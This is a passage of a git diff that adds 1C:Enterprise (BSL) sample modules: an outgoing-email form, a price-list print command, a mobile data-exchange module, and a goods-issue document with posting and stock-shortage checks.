+			РаботаСПочтой.ЗаполнитьПисьмоПоШаблону(Объект, Содержимое);
+		ИначеЕсли Не ВходящееПисьмо.Пустая() Тогда
+			РаботаСПочтой.ЗаполнитьОтветНаПисьмо(ВходящееПисьмо, Объект, Содержимое);
+		КонецЕсли;
+		Адресаты = Параметры.Адресаты;
+		Если Адресаты <> Неопределено Тогда
+			Запрос = Новый Запрос;
+			Запрос.Текст = "ВЫБРАТЬ
+			               |	Контрагенты.ЭлектроннаяПочта
+			               |ИЗ
+			               |	Справочник.Контрагенты КАК Контрагенты
+			               |ГДЕ
+			               |	Контрагенты.Ссылка В(&Адресаты)
+			               |	И Контрагенты.ЭлектроннаяПочта <> """"";
+			Запрос.УстановитьПараметр("Адресаты", Адресаты);			   
+			Получатель = "";
+			Выборка = Запрос.Выполнить().Выбрать();
+			Пока Выборка.Следующий() Цикл
+				Если Получатель <> "" Тогда
+					Получатель = Получатель + "; ";
+				КонецЕсли;
+				Получатель = Получатель + Выборка.ЭлектроннаяПочта;
+			КонецЦикла;
+			Объект.Получатель = Получатель;
+		КонецЕсли;
+	КонецЕсли;
+КонецПроцедуры
+
+&НаСервере
+Процедура ПриЧтенииНаСервере(ТекущийОбъект)
+	Содержимое = ТекущийОбъект.Содержимое.Получить();
+	Заголовок = ТекущийОбъект.Наименование + " (Исходящее письмо)";
+	Если  РаботаСПочтой.ПисьмоОтправлено(ТекущийОбъект.Ссылка) Тогда
+		Заголовок = Заголовок + " - Отправлено";
+	КонецЕсли;
+КонецПроцедуры
+
+&НаСервере
+Процедура ПередЗаписьюНаСервере(Отказ, ТекущийОбъект, ПараметрыЗаписи)
+	ТекущийОбъект.Содержимое = Новый ХранилищеЗначения(Содержимое, Новый СжатиеДанных());
+	ТекущийОбъект.Текст = Содержимое.ПолучитьТекст();
+КонецПроцедуры
+
+&НаСервере
+Функция ОтправитьПисьмо(Ошибка)
+	Если Не Записать() Тогда
+		Ошибка = "ОшибкаЗаписи";
+		Возврат Ложь;
+	КонецЕсли;
+	Если Не РаботаСПочтой.ОтправитьПисьмо(Объект.Ссылка) Тогда
+		Ошибка = "ОшибкаОтправки";
+		Возврат Ложь;
+	КонецЕсли;
+	Заголовок = Заголовок + " - Отправлено";
+	Возврат Истина;
+КонецФункции
+
+&НаКлиенте
+Функция ОтправитьПисьмоКлиент()
+	Ошибка = "";
+	Если Не ОтправитьПисьмо(Ошибка) Тогда
+		Если Ошибка = "ОшибкаОтправки" Тогда
+			Кнопки = Новый СписокЗначений;
+			Кнопки.Добавить(1, "Настроить почту");
+			Кнопки.Добавить(2, "Закрыть");
+			
+			Оп = Новый ОписаниеОповещения(
+				"ОтправитьПисьмоКлиентВопросЗавершение",
+				ЭтотОбъект);
+			ПоказатьВопрос(Оп,
+				"Не указаны настройки интернет почты!", 
+				Кнопки, , 1);
+		КонецЕсли;
+		Возврат Ложь;
+	КонецЕсли;
+	
+	НавигационнаяСсылка = ПолучитьНавигационнуюСсылку(Объект.Ссылка);
+	ПоказатьОповещениеПользователя("Письмо отправлено", НавигационнаяСсылка, Объект.Наименование);
+	ОповеститьОбИзменении(Объект.Ссылка);
+	Возврат Истина;
+КонецФункции
+
+&НаКлиенте
+Процедура ОтправитьПисьмоКлиентВопросЗавершение(Результат, Параметры) Экспорт
+	Если Результат = 1 Тогда
+		ОткрытьФорму("ОбщаяФорма.НастройкаПочты");
+	КонецЕсли;
+КонецПроцедуры
+
+&НаКлиенте
+Процедура Отправить(Команда)
+	ОтправитьПисьмоКлиент();
+КонецПроцедуры
+
+&НаКлиенте
+Процедура ОтправитьИЗакрыть(Команда)
+	Если Не ОтправитьПисьмоКлиент() Тогда
+		Возврат;
+	КонецЕсли;
+	Закрыть();
+КонецПроцедуры
+
+&НаКлиенте
+Процедура ВставитьСтрокуВТекущуюПозицию(Поле, Документ, Строка)
+	Перем Начало, Конец;
+	Поле.ПолучитьГраницыВыделения(Начало, Конец);
+	Позиция = Документ.ПолучитьПозициюПоЗакладке(Начало);
+	Документ.Удалить(Начало, Конец);
+	Начало = Документ.ПолучитьЗакладкуПоПозиции(Позиция);
+	Документ.Вставить(Начало, Строка);
+	Позиция = Позиция + СтрДлина(Строка);
+	Закладка = Документ.ПолучитьЗакладкуПоПозиции(Позиция);
+	Поле.УстановитьГраницыВыделения(Закладка, Закладка);
+КонецПроцедуры
+
+&НаКлиенте
+Процедура ВставитьКонтактноеЛицо(Команда)
+	Если Объект.Контрагент.Пустая() Тогда
+		Сообщить("Выберите контрагента");
+	Иначе
+		КонтактноеЛицо = ПолучитьКонтактноеЛицоПоПолучателю(Объект.Контрагент);
+		ВставитьСтрокуВТекущуюПозицию(Элементы.Содержимое, Содержимое, КонтактноеЛицо + " ");
+	КонецЕсли;	
+КонецПроцедуры
+
+&НаСервере
+Процедура ПослеЗаписиНаСервере(ТекущийОбъект, ПараметрыЗаписи)
+	Заголовок = ТекущийОбъект.Наименование + " (Исходящее письмо)";
+КонецПроцедуры
+
+&НаКлиенте
+Процедура КонтрагентПриИзменении(Элемент)
+	ДобавитьПолучателей(Объект.Получатель, Объект.Контрагент);
+КонецПроцедуры
+
+&НаКлиенте
+Процедура ВыделитьВажное(Команда)
+	Перем Начало, Конец;
+    ВсеВажное = Истина;
+    Элементы.Содержимое.ПолучитьГраницыВыделения(Начало, Конец);
+    Если Начало = Конец Тогда
+        Возврат;
+    КонецЕсли;
+    
+    НаборТекстовыхЭлементов = Новый Массив();
+    Для Каждого ТекстовыйЭлемент Из Содержимое.СформироватьЭлементы(Начало, Конец) Цикл
+        Если Тип(ТекстовыйЭлемент) = Тип("ТекстФорматированногоДокумента") Тогда
+            НаборТекстовыхЭлементов.Добавить(ТекстовыйЭлемент);    
+        КонецЕсли;    
+    КонецЦикла;
+    
+    Для Каждого ТекстовыйЭлемент Из НаборТекстовыхЭлементов Цикл
+        Если ТекстовыйЭлемент.Шрифт.Жирный <> Истина И
+            ТекстовыйЭлемент.ЦветТекста <> Новый Цвет(255, 0, 0) Тогда
+            ВсеВажное = Ложь;
+            Прервать;
+        КонецЕсли;
+    КонецЦикла;
+    
+    Для Каждого ТекстовыйЭлемент Из НаборТекстовыхЭлементов Цикл
+        ТекстовыйЭлемент.Шрифт = Новый Шрифт(ТекстовыйЭлемент.Шрифт, , , Не ВсеВажное);
+        ТекстовыйЭлемент.ЦветТекста = Новый Цвет(?(ВсеВажное, 0, 255), 0, 0);
+    КонецЦикла;
+КонецПроцедуры
+
+&НаКлиенте
+Процедура ЗаполнитьПоШаблону(Команда)
+	Если Объект.Контрагент.Пустая() Тогда
+		Сообщить("Выберите контрагента");
+	Иначе
+		НайтиИЗаменить("[Контрагент]", Объект.Контрагент);
+		НайтиИЗаменить("[КонтактноеЛицо]", ПолучитьКонтактноеЛицоПоПолучателю(Объект.Контрагент));
+	КонецЕсли;
+	НайтиИЗаменить("[ДатаПисьма]", Объект.Дата);
+КонецПроцедуры
+
+&НаКлиенте
+Процедура НайтиИЗаменить(СтрокаДляПоиска, СтрокаДляЗамены)
+	Перем ВставленныйТекст, ШрифтОформления, ЦветТекстаОформления, ЦветФонаОформления, НавигационнаяСсылкаОформления;
+	РезультатПоиска = Содержимое.НайтиТекст(СтрокаДляПоиска);
+	Пока ((РезультатПоиска <> Неопределено) И (РезультатПоиска.ЗакладкаНачала <> Неопределено) И (РезультатПоиска.ЗакладкаКонца <> Неопределено)) Цикл
+		ПозицияНачалаСледующегоЦиклаПоиска = Содержимое.ПолучитьПозициюПоЗакладке(РезультатПоиска.ЗакладкаНачала) + СтрДлина(СтрокаДляЗамены);
+		МассивЭлементовДляОформления = Содержимое.ПолучитьЭлементы(РезультатПоиска.ЗакладкаНачала, РезультатПоиска.ЗакладкаКонца);
+		Для Каждого ЭлементДляОформления Из МассивЭлементовДляОформления Цикл
+			Если Тип(ЭлементДляОформления) = Тип("ТекстФорматированногоДокумента") Тогда
+				ШрифтОформления = ЭлементДляОформления.Шрифт;
+				ЦветТекстаОформления = ЭлементДляОформления.ЦветТекста;
+				ЦветФонаОформления = ЭлементДляОформления.ЦветФона;
+				НавигационнаяСсылкаОформления = ЭлементДляОформления.НавигационнаяССылка;
+				Прервать;
+			КонецЕсли;
+		КонецЦикла;	
+		Содержимое.Удалить(РезультатПоиска.ЗакладкаНачала, РезультатПоиска.ЗакладкаКонца);
+		ВставленныйТекст = Содержимое.Вставить(РезультатПоиска.ЗакладкаНачала, СтрокаДляЗамены);
+		Если ВставленныйТекст <> Неопределено И ШрифтОформления <> Неопределено Тогда
+			ВставленныйТекст.Шрифт = ШрифтОформления;
+		КонецЕсли;
+		Если ВставленныйТекст <> Неопределено И ЦветТекстаОформления <> Неопределено Тогда
+			ВставленныйТекст.ЦветТекста = ЦветТекстаОформления;
+		КонецЕсли;
+		Если ВставленныйТекст <> Неопределено И ЦветФонаОформления <> Неопределено Тогда
+			ВставленныйТекст.ЦветФона = ЦветФонаОформления;
+		КонецЕсли;
+		Если ВставленныйТекст <> Неопределено И НавигационнаяСсылкаОформления <> Неопределено Тогда
+			ВставленныйТекст.НавигационнаяССылка = НавигационнаяСсылкаОформления;
+		КонецЕсли;
+		
+		РезультатПоиска = Содержимое.НайтиТекст(СтрокаДляПоиска, Содержимое.ПолучитьЗакладкуПоПозиции(ПозицияНачалаСледующегоЦиклаПоиска));
+	КонецЦикла;
+КонецПроцедуры
+
diff --git "a/samples/1C Enterprise/Catalog.\320\242\320\276\320\262\320\260\321\200\321\213.Command.\320\237\320\265\321\207\320\260\321\202\321\214\320\237\321\200\320\260\320\271\321\201\320\233\320\270\321\201\321\202\320\260.CommandModule.bsl" "b/samples/1C Enterprise/Catalog.\320\242\320\276\320\262\320\260\321\200\321\213.Command.\320\237\320\265\321\207\320\260\321\202\321\214\320\237\321\200\320\260\320\271\321\201\320\233\320\270\321\201\321\202\320\260.CommandModule.bsl"
new file mode 100644
index 0000000000..f96e8811ab
--- /dev/null
+++ "b/samples/1C Enterprise/Catalog.\320\242\320\276\320\262\320\260\321\200\321\213.Command.\320\237\320\265\321\207\320\260\321\202\321\214\320\237\321\200\320\260\320\271\321\201\320\233\320\270\321\201\321\202\320\260.CommandModule.bsl"	
@@ -0,0 +1,85 @@
+&НаСервере
+Функция ПечатнаяФорма(ПараметрКоманды)
+	ТабличныйДокумент = Новый ТабличныйДокумент;
+	ТабличныйДокумент.ОтображатьСетку = Истина;
+	ТабличныйДокумент.ОтображатьЗаголовки = Истина;
+	
+	Сформирован = Ложь;
+	ТабМакет = Справочники.Товары.ПолучитьМакет("МакетПрайсЛиста"); 
+
+	Шапка = ТабМакет.ПолучитьОбласть("Шапка");
+	ТабличныйДокумент.Вывести(Шапка);
+
+	ОбластьНоменклатура = ТабМакет.ПолучитьОбласть("ОбластьНоменклатура");
+	
+	Запрос = Новый Запрос;
+    Запрос.Текст =  "ВЫБРАТЬ
+                    |    Товары.Код КАК Код,
+                    |    Товары.Наименование КАК Наименование,
+                    |    Товары.Артикул КАК Артикул,
+                    |    Товары.ФайлКартинки КАК Картинка,
+                    |    Товары.Описание КАК Описание,
+                    |    Товары.Вид КАК Вид,
+                    |    ЦеныТоваров.Цена КАК Цена
+                    |ИЗ
+                    |    РегистрСведений.ЦеныТоваров КАК ЦеныТоваров
+                    |        ЛЕВОЕ СОЕДИНЕНИЕ Справочник.Товары КАК Товары
+                    |        ПО ЦеныТоваров.Товар = Товары.Ссылка
+                    |ГДЕ
+                    |    Товары.ЭтоГруппа = ЛОЖЬ
+                    |    И ЦеныТоваров.ВидЦен = &ВидЦен
+                    |
+                    |УПОРЯДОЧИТЬ ПО
+                    |    Вид,
+                    |    Товары.Родитель.Код,
+                    |    Код";
+
+    Запрос.УстановитьПараметр("ВидЦен", Справочники.ВидыЦен.НайтиПоНаименованию("Розничная"));
+						
+	Выборка = Запрос.Выполнить().Выбрать();
+	Пока Выборка.Следующий() Цикл
+		ОбластьНоменклатура.Параметры.Заполнить(Выборка);
+		
+		Описание = "";
+		
+		Чтение = Новый ЧтениеHTML();
+		Чтение.УстановитьСтроку(Выборка.Описание);
+		
+		ДокDOM = Новый ПостроительDOM();
+		HTML = ДокDOM.Прочитать(Чтение);
+		
+		Если Не HTML.ЭлементДокумента = Неопределено Тогда
+			Для Каждого Узел из HTML.ЭлементДокумента.ДочерниеУзлы Цикл 
+				Если Узел.ИмяУзла = "body" Тогда
+					Для Каждого ЭлементОписания из Узел.ДочерниеУзлы Цикл 
+						Описание = Описание + ЭлементОписания.ТекстовоеСодержимое;
+					КонецЦикла;
+				КонецЕсли;
+			КонецЦикла;
+		КонецЕсли;
+		ОбластьНоменклатура.Параметры.Описание = Описание;
+		
+		Если (Выборка.Картинка <> Null) Тогда 
+			ОбластьНоменклатура.Параметры.ПараметрКартинки = Новый Картинка(Выборка.Картинка.ДанныеФайла.Получить());
+		КонецЕсли;
+		
+		ТабличныйДокумент.Вывести(ОбластьНоменклатура, Выборка.Уровень());
+		Сформирован = Истина;
+	КонецЦикла;
+	
+	Если Сформирован Тогда
+		Возврат ТабличныйДокумент;
+	Иначе 	
+		Возврат Неопределено;
+	КонецЕсли;	
+КонецФункции
+
+&НаКлиенте
+Процедура ОбработкаКоманды(ПараметрКоманды, ПараметрыВыполненияКоманды)
+	ТабличныйДокумент = ПечатнаяФорма(ПараметрКоманды);
+	
+	Если ТабличныйДокумент <> Неопределено Тогда
+		ТабличныйДокумент.Показать();
+	КонецЕсли;	
+	
+КонецПроцедуры
diff --git "a/samples/1C Enterprise/CommonModule.\320\236\320\261\320\274\320\265\320\275\320\234\320\276\320\261\320\270\320\273\321\214\320\275\321\213\320\265\320\236\320\261\321\211\320\265\320\265.Module.bsl" "b/samples/1C Enterprise/CommonModule.\320\236\320\261\320\274\320\265\320\275\320\234\320\276\320\261\320\270\320\273\321\214\320\275\321\213\320\265\320\236\320\261\321\211\320\265\320\265.Module.bsl"
new file mode 100644
index 0000000000..d5a1a2cb7c
--- /dev/null
+++ "b/samples/1C Enterprise/CommonModule.\320\236\320\261\320\274\320\265\320\275\320\234\320\276\320\261\320\270\320\273\321\214\320\275\321\213\320\265\320\236\320\261\321\211\320\265\320\265.Module.bsl"	
@@ -0,0 +1,109 @@
+// Процедура на основании анализа типа данных заменяет их на данные, удаляющие
+// информацию из узла в котором их не должно быть
+//
+// Параметры:
+//  Данные	– Объект, набор записей,... который нужно преобразовать
+//
+Процедура УдалениеДанных(Данные) 
+	
+	// Получаем объект описания метаданного, соответствующий данным
+	ОбъектМетаданных = ?(ТипЗнч(Данные) = Тип("УдалениеОбъекта"), Данные.Ссылка.Метаданные(), Данные.Метаданные());
+    // Проверяем тип, интересуют только те типы, которые реализованы на мобильной платформе
+	Если Метаданные.Справочники.Содержит(ОбъектМетаданных)
+	 	ИЛИ Метаданные.Документы.Содержит(ОбъектМетаданных) Тогда
+		
+		// Перенос удаления объекта для объектных
+		Данные = Новый УдалениеОбъекта(Данные.Ссылка);
+		
+	ИначеЕсли Метаданные.РегистрыСведений.Содержит(ОбъектМетаданных)
+		ИЛИ Метаданные.РегистрыНакопления.Содержит(ОбъектМетаданных)
+		ИЛИ Метаданные.Последовательности.Содержит(ОбъектМетаданных) Тогда
+		
+		// Очищаем данные
+		Данные.Очистить();
+		
+	КонецЕсли;	
+	
+КонецПроцедуры
+
+// Функция формирует пакет обмена, который будет отправлен узлу "УзелОбмена" 
+//
+// Параметры:
+//  УзелОбмена	– узел плана обмена "мобильные", с которым осуществляется обмен
+//
+// Возвращаемое значение:
+//  сформированный пакет, помещенный в хранилище значения
+Функция СформироватьПакетОбмена(УзелОбмена) Экспорт
+    
+	ЗаписьXML = Новый ЗаписьXML;
+	
+	ЗаписьXML.УстановитьСтроку("UTF-8");
+	ЗаписьXML.ЗаписатьОбъявлениеXML();
+    
+	ЗаписьСообщения = ПланыОбмена.СоздатьЗаписьСообщения();
+    ЗаписьСообщения.НачатьЗапись(ЗаписьXML, УзелОбмена);					
+    
+	ЗаписьXML.ЗаписатьСоответствиеПространстваИмен("xsi", "http://www.w3.org/2001/XMLSchema-instance");
+	ЗаписьXML.ЗаписатьСоответствиеПространстваИмен("v8",  "http://v8.1c.ru/data");
+    
+	ТипДанныхУдаления = Тип("УдалениеОбъекта");
+    
+	ВыборкаИзменений = ПланыОбмена.ВыбратьИзменения(УзелОбмена, ЗаписьСообщения.НомерСообщения);
+	Пока ВыборкаИзменений.Следующий() Цикл
+		
+		Данные = ВыборкаИзменений.Получить();
+        
+		// Если перенос данных не нужен, то, возможно, необходимо записать удаление данных
+		Если Не ОбменМобильныеПереопределяемый.НуженПереносДанных(Данные, УзелОбмена) Тогда
+			
+			// Получаем значение с возможным удалением данных
+			УдалениеДанных(Данные); 
+            
+		КонецЕсли;	
+		
+		// Записываем данные в сообщение
+		ОбменМобильныеПереопределяемый.ЗаписатьДанные(ЗаписьXML, Данные);
+        
+    КонецЦикла;
+    
+	ЗаписьСообщения.ЗакончитьЗапись();
+    
+	Возврат Новый ХранилищеЗначения(ЗаписьXML.Закрыть(), Новый СжатиеДанных(9));
+    
+КонецФункции
+
+// Процедура вносит в информационную базу данные, которые присланы из узла "УзелОбмена" 
+//
+// Параметры:
+//  УзелОбмена	– узел плана обмена "мобильные", с которым осуществляется обмен
+//  ДанныеОбмена - пакет обмена полученный из узла УзелОбмена, помещен в ХранилищеЗначения
+//
+Процедура ПринятьПакетОбмена(УзелОбмена, ДанныеОбмена) Экспорт
+    
+	ЧтениеXML = Новый ЧтениеXML;
+	ЧтениеXML.УстановитьСтроку(ДанныеОбмена.Получить());
+    ЧтениеСообщения = ПланыОбмена.СоздатьЧтениеСообщения();
+	ЧтениеСообщения.НачатьЧтение(ЧтениеXML);
+    ПланыОбмена.УдалитьРегистрациюИзменений(ЧтениеСообщения.Отправитель,ЧтениеСообщения.НомерПринятого);
+
+    НачатьТранзакцию();
+    Пока ВозможностьЧтенияXML(ЧтениеXML) Цикл
+        
+		Данные = ОбменМобильныеПереопределяемый.ПрочитатьДанные(ЧтениеXML);
+        
+		Если Не Данные = Неопределено Тогда
+			
+            Данные.ОбменДанными.Отправитель = ЧтениеСообщения.Отправитель;
+            Данные.ОбменДанными.Загрузка = Истина;
+            
+            Данные.Записать();
+        
+        КонецЕсли;
+        
+    КонецЦикла;
+    ЗафиксироватьТранзакцию();
+    
+    ЧтениеСообщения.ЗакончитьЧтение();
+    ЧтениеXML.Закрыть();
+    
+КонецПроцедуры
diff --git "a/samples/1C Enterprise/Document.\320\240\320\260\321\201\321\205\320\276\320\264\320\242\320\276\320\262\320\260\321\200\320\260.ObjectModule.bsl" "b/samples/1C Enterprise/Document.\320\240\320\260\321\201\321\205\320\276\320\264\320\242\320\276\320\262\320\260\321\200\320\260.ObjectModule.bsl"
new file mode 100644
index 0000000000..1edbfb085c
--- /dev/null
+++ "b/samples/1C Enterprise/Document.\320\240\320\260\321\201\321\205\320\276\320\264\320\242\320\276\320\262\320\260\321\200\320\260.ObjectModule.bsl"	
@@ -0,0 +1,302 @@
+//////////////////////////////////////////////////////////////////////////////// 

+// ПРОЦЕДУРЫ И ФУНКЦИИ

+//

+

+// Формирование печатной формы документа

+// 

+// Параметры: 

+//  Нет. 

+// 

+// Возвращаемое значение: 

+//  ТабличныйДокумент - Сформированный табличный документ.

+Процедура ПечатнаяФорма(ТабличныйДокумент) Экспорт
+

+	Макет = Документы.РасходТовара.ПолучитьМакет("МакетПечати");
+

+	// Заголовок

+	Область = Макет.ПолучитьОбласть("Заголовок");

+	ТабличныйДокумент.Вывести(Область);
+

+	// Шапка

+	Шапка = Макет.ПолучитьОбласть("Шапка");

+	Шапка.Параметры.Заполнить(ЭтотОбъект);

+	ТабличныйДокумент.Вывести(Шапка);
+

+	// Товары

+	Область = Макет.ПолучитьОбласть("ТоварыШапка");

+	ТабличныйДокумент.Вывести(Область);

+	ОбластьТовары = Макет.ПолучитьОбласть("Товары");
+

+	Для каждого ТекСтрокаТовары Из Товары Цикл
+

+		ОбластьТовары.Параметры.Заполнить(ТекСтрокаТовары);

+		ТабличныйДокумент.Вывести(ОбластьТовары);
+

+	КонецЦикла;

+
+КонецПроцедуры

+
+// Формирование печатной формы документа
+// 
+// Параметры: 
+//  Нет. 
+// 
+// Возвращаемое значение: 
+//  ТабличныйДокумент - Сформированный табличный документ.
+Процедура Пересчитать() Экспорт
+
+	Для каждого ТекСтрокаТовары Из Товары Цикл
+
+		ТекСтрокаТовары.Сумма = ТекСтрокаТовары.Количество * ТекСтрокаТовары.Цена;
+
+	КонецЦикла;
+
+КонецПроцедуры
+
+////////////////////////////////////////////////////////////////////////////////

+// ОБРАБОТЧИКИ СОБЫТИЙ ОБЪЕКТА

+
+Процедура ОбработкаПроведения(Отказ, Режим)
+
+	// Формирование движений регистров накопления ТоварныеЗапасы и Продажи.
+	Движения.ТоварныеЗапасы.Записывать = Истина;
+	Движения.Продажи.Записывать = Истина;
+	Если Режим = РежимПроведенияДокумента.Оперативный Тогда
+		Движения.ТоварныеЗапасы.БлокироватьДляИзменения = Истина;
+	КонецЕсли;	
+
+	// Создадим запрос, чтобы получать информацию об услугах
+	Запрос = Новый Запрос("ВЫБРАТЬ
+						  |    ТоварыВДокументе.НомерСтроки КАК НомерСтроки
+						  |ИЗ
+						  |    Документ.РасходТовара.Товары КАК ТоварыВДокументе
+						  |ГДЕ
+						  |    ТоварыВДокументе.Ссылка = &Ссылка
+						  |    И ТоварыВДокументе.Товар.Вид = ЗНАЧЕНИЕ(Перечисление.ВидыТоваров.Услуга)");
+
+	Запрос.УстановитьПараметр("Ссылка", Ссылка);
+	РезультатУслуги = Запрос.Выполнить().Выгрузить();
+	РезультатУслуги.Индексы.Добавить("НомерСтроки");
+
+	Для каждого ТекСтрокаТовары Из Товары Цикл
+
+		Строка = РезультатУслуги.Найти(ТекСтрокаТовары.НомерСтроки, "НомерСтроки");
+		Если Строка = Неопределено Тогда
+			
+			// Не услуга
+			Движение = Движения.ТоварныеЗапасы.Добавить();
+			Движение.ВидДвижения = ВидДвиженияНакопления.Расход;
+			Движение.Период = Дата;
+			Движение.Товар = ТекСтрокаТовары.Товар;
+			Движение.Склад = Склад;
+			Движение.Количество = ТекСтрокаТовары.Количество;
+
+		КонецЕсли;
+
+		Движение = Движения.Продажи.Добавить();
+		Движение.Период = Дата;
+		Движение.Товар = ТекСтрокаТовары.Товар;
+		Движение.Покупатель = Покупатель;
+		Движение.Количество = ТекСтрокаТовары.Количество;
+		Движение.Сумма = ТекСтрокаТовары.Сумма;
+
+	КонецЦикла;
+
+	// Формирование движения регистра накопления Взаиморасчеты.
+	Движения.Взаиморасчеты.Записывать = Истина;
+	Движение = Движения.Взаиморасчеты.Добавить();
+	Движение.ВидДвижения = ВидДвиженияНакопления.Расход;
+	Движение.Период = Дата;
+	Движение.Контрагент = Покупатель;
+	Движение.Валюта = Валюта;
+
+	Если Валюта.Пустая() Тогда
+		Движение.Сумма = Товары.Итог("Сумма");
+	Иначе
+
+		Курс = РегистрыСведений.КурсыВалют.ПолучитьПоследнее(Дата, Новый Структура("Валюта", Валюта)).Курс;
+
+		Если Курс = 0 Тогда
+			Движение.Сумма = Товары.Итог("Сумма");
+		Иначе
+			Движение.Сумма = Товары.Итог("Сумма") / Курс;
+		КонецЕсли;
+
+	КонецЕсли;
+
+	//Запишем движения
+	Движения.Записать();
+	
+	//Контроль остатков при оперативном проведении
+	Если Режим = РежимПроведенияДокумента.Оперативный Тогда
+		// Создадим запрос, чтобы контролировать остатки по товарам
+		Запрос = Новый Запрос("ВЫБРАТЬ
+							  |    ТоварыВДокументе.Товар КАК Товар,
+							  |    СУММА(ТоварыВДокументе.Количество) КАК Количество,
+							  |    МАКСИМУМ(ТоварыВДокументе.НомерСтроки) КАК НомерСтроки
+							  |
+							  |ПОМЕСТИТЬ ТребуетсяТовара
+							  |
+							  |ИЗ
+							  |    Документ.РасходТовара.Товары КАК ТоварыВДокументе
+							  |
+							  |ГДЕ
+							  |    ТоварыВДокументе.Ссылка = &Ссылка
+							  |    И ТоварыВДокументе.Товар.Вид = ЗНАЧЕНИЕ(Перечисление.ВидыТоваров.Товар)
+							  |
+							  |СГРУППИРОВАТЬ ПО
+							  |    ТоварыВДокументе.Товар
+							  |
+							  |ИНДЕКСИРОВАТЬ ПО
+							  |    Товар
+							  |;
+							  |
+							  |////////////////////////////////////////////////////////////////////////////////
+							  |ВЫБРАТЬ
+							  |    ПРЕДСТАВЛЕНИЕ(ТребуетсяТовара.Товар) КАК ТоварПредставление,
+							  |    ВЫБОР
+							  |        КОГДА - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0) > ТоварыВДокументе.Количество
+							  |            ТОГДА ТоварыВДокументе.Количество
+							  |        ИНАЧЕ - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0)
+							  |    КОНЕЦ КАК Нехватка,
+							  |    ТоварыВДокументе.Количество - ВЫБОР
+							  |        КОГДА - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0) > ТоварыВДокументе.Количество
+							  |            ТОГДА ТоварыВДокументе.Количество
+							  |        ИНАЧЕ - ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0)
+							  |    КОНЕЦ КАК МаксимальноеКоличество,
+							  |    ТребуетсяТовара.НомерСтроки КАК НомерСтроки
+							  |
+							  |ИЗ
+							  |    ТребуетсяТовара КАК ТребуетсяТовара
+							  |        ЛЕВОЕ СОЕДИНЕНИЕ РегистрНакопления.ТоварныеЗапасы.Остатки(
+							  |                ,
+							  |                Товар В
+							  |                        (ВЫБРАТЬ
+							  |                            ТребуетсяТовара.Товар
+							  |                        ИЗ
+							  |                            ТребуетсяТовара)
+							  |                    И Склад = &Склад) КАК ТоварныеЗапасыОстатки
+							  |        ПО ТребуетсяТовара.Товар = ТоварныеЗапасыОстатки.Товар
+							  |        ЛЕВОЕ СОЕДИНЕНИЕ Документ.РасходТовара.Товары КАК ТоварыВДокументе
+							  |        ПО ТребуетсяТовара.Товар = ТоварыВДокументе.Товар
+							  |            И ТребуетсяТовара.НомерСтроки = ТоварыВДокументе.НомерСтроки
+							  |
+							  |ГДЕ
+							  |    ТоварыВДокументе.Ссылка = &Ссылка И
+							  |    0 > ЕСТЬNULL(ТоварныеЗапасыОстатки.КоличествоОстаток, 0)
+							  |
+							  |УПОРЯДОЧИТЬ ПО
+							  |    НомерСтроки");
+
+		Запрос.УстановитьПараметр("Склад", Склад);
+		Запрос.УстановитьПараметр("Ссылка", Ссылка);
+		РезультатСНехваткой = Запрос.Выполнить();
+
+		ВыборкаРезультатаСНехваткой = РезультатСНехваткой.Выбрать();
+
+		// Выдадим ошибки для строк, в которых не хватает остатка
+		Пока ВыборкаРезультатаСНехваткой.Следующий() Цикл
+
+			Сообщение = Новый СообщениеПользователю();
+			Сообщение.Текст = НСтр("ru = 'Не хватает '", "ru") 
+				+ ВыборкаРезультатаСНехваткой.Нехватка 
+				+ НСтр("ru = ' единиц товара'", "ru") + """" 
+				+ ВыборкаРезультатаСНехваткой.ТоварПредставление 
+				+ """" 
+				+ НСтр("ru = ' на складе'", "ru") 
+				+ """" 
+				+ Склад 
+				+ """." 
+				+ НСтр("ru = 'Максимальное количество: '", "ru") 
+				+ ВыборкаРезультатаСНехваткой.МаксимальноеКоличество 
+				+ ".";
+			Сообщение.Поле = НСтр("ru = 'Товары'", "ru") 
+				+ "[" 
+				+ (ВыборкаРезультатаСНехваткой.НомерСтроки - 1) 
+				+ "]." 
+				+ НСтр("ru = 'Количество'", "ru");
+			Сообщение.УстановитьДанные(ЭтотОбъект);
+			Сообщение.Сообщить();
+			Отказ = Истина;
+
+		КонецЦикла;
+
+	КонецЕсли;
+	
+КонецПроцедуры
+
+Процедура ОбработкаПроверкиЗаполнения(Отказ, ПроверяемыеРеквизиты)		
+	// Проверим заполненность поля "Покупатель"

+	Если Покупатель.Пустая() Тогда
+

+		// Если поле Покупатель не заполнено, сообщим об этом пользователю

+		Сообщение = Новый СообщениеПользователю();

+		Сообщение.Текст = НСтр("ru = 'Не указан Покупатель, для которого выписывается накладная!'", "ru");

+		Сообщение.Поле = НСтр("ru = 'Покупатель'", "ru");
+		Сообщение.УстановитьДанные(ЭтотОбъект);
+

+		Сообщение.Сообщить();

+

+		// Сообщим платформе, что мы сами обработали проверку заполнения поля "Покупатель"

+		ПроверяемыеРеквизиты.Удалить(ПроверяемыеРеквизиты.Найти("Покупатель"));

+		// Так как информация в документе не консистентна, то продолжать работу дальше смысла нет

+		Отказ = Истина;
+

+	КонецЕсли;

+
+	//Если склад не заполнен, то проверим есть ли в документе что-то кроме услуг
+	Если Склад.Пустая() И Товары.Количество() > 0 Тогда
+
+		// Создадим запрос, чтобы получать информацию об товарах
+		Запрос = Новый Запрос("ВЫБРАТЬ
+							  |    Количество(*) КАК Количество
+							  |ИЗ
+							  |    Справочник.Товары КАК Товары
+							  |ГДЕ
+							  |    Товары.Ссылка В (&ТоварыВДокументе)
+							  |    И Товары.Вид = ЗНАЧЕНИЕ(Перечисление.ВидыТоваров.Товар)");
+
+		Запрос.УстановитьПараметр("ТоварыВДокументе", Товары.ВыгрузитьКолонку("Товар"));
+		Выборка = Запрос.Выполнить().Выбрать();
+		Выборка.Следующий();
+		Если Выборка.Количество = 0 Тогда
+			// Сообщим платформе, что мы сами обработали проверку заполнения поля "Склад"
+			ПроверяемыеРеквизиты.Удалить(ПроверяемыеРеквизиты.Найти("Склад"));
+		КонецЕсли;
+
+	КонецЕсли;
+

+КонецПроцедуры
+
+Процедура ОбработкаЗаполнения(ДанныеЗаполнения, СтандартнаяОбработка)
+
+	Если ТипЗнч(ДанныеЗаполнения) = Тип("СправочникСсылка.Контрагенты") Тогда
+
